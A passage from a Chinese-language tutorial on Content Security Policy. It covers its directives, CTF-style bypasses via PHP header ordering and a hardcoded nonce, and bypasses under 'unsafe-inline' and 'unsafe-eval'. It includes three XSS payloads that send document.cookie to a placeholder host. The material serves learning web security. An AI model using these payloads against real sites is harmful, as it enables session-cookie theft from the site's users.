• img-src : 定义针对图片的加载策略。
• font-src : 定义针对字体的加载策略。
• media-src : 定义针对多媒体的加载策略，例如：音频标签 <audio> 和视频标签 <video> 。
• object-src : 定义针对插件的加载策略，例如： <object> 、 <embed> 、 <applet> 。
• child-src : 定义针对框架的加载策略，例如： <frame> , <iframe> 。
• connect-src : 定义针对 Ajax/WebSocket 等请求的加载策略。不允许的情况下，浏览器会模拟一个状态为 400 的响应。
• sandbox : 定义针对 sandbox 的限制，相当于 <iframe> 的 sandbox 属性。
• report-uri : 告诉浏览器如果请求的资源不被策略允许时，往哪个地址提交日志信息。
• form-action : 定义针对提交的 form 到特定来源的加载策略。
• referrer : 定义针对 referrer 的加载策略。
• reflected-xss : 定义针对 XSS 过滤器使用策略。

# CSP 指令值

# CSP 默认特性

• 阻止内联代码执行
• EVAL 相关功能被禁用

# CSP 绕过

两道案例

# Baby CSP

在 PHP 中，如果在调用 header() 函数之前已经有输出（比如错误信息或 HTML 内容），那么这个调用会被忽略，因为 HTTP 协议要求头部信息在内容之前发送。

在这种情况下，如果产生的警告信息足够多，可能会占满默认的 4096 字节的输出缓冲区，这样就会在发送 CSP 头部之前先将这些警告信息发送给浏览器，从而导致 CSP 头部被忽略。因此，攻击者可以利用这个机制插入恶意代码。

总结来说，就是警告信息的输出顺序会影响 HTTP 头部的发送，可能导致安全策略失效。

# Babier CSP

几经辗转后发现，题目的 nonce 属于硬编码，直接读取即可。

刚开始没注意 NONCE 已经初始化，而且在我们访问题目的时候，不会在去执行模板上面的 NONCE 生成，因此每次访问是不会变的。

# 一些语句的绕过

# script-src ‘self’ ‘unsafe -inline’

在允许 unsafe-inline 的情况下，可以用 window.location，或者 window.open 之类的方法进行跳转绕过。

1
2
3
4

<script>window.location="https://www.XXX.com/x.php?c=[cookie]";</script>
<script>window.open('//www.XXX.com/?'+escape(document.cookie))</script>
<script>window.location.href='https://www.XXX.com/?cookie='+document.cookie</script>
123

内嵌 script 都可以执行，当然可以直接执行本页面的 JS，如输入即可，这里的利用和 XSS 利用一致

# script-src ‘self’ ‘unsafe-eval’

重用 Gadgets 代码来绕过 CSP，具体可参考 Black Hat 2017 的 ppt，上面总结了可以被用来绕过 CSP 的一些 JS 库。

例如假设页面中使用了 Jquery-mobile 库，并且 CSP 策略中包含”script-src ‘unsafe-eval’” 或者”script-src ‘strict-dynamic’”，那么下面的向量就可以绕过 CSP：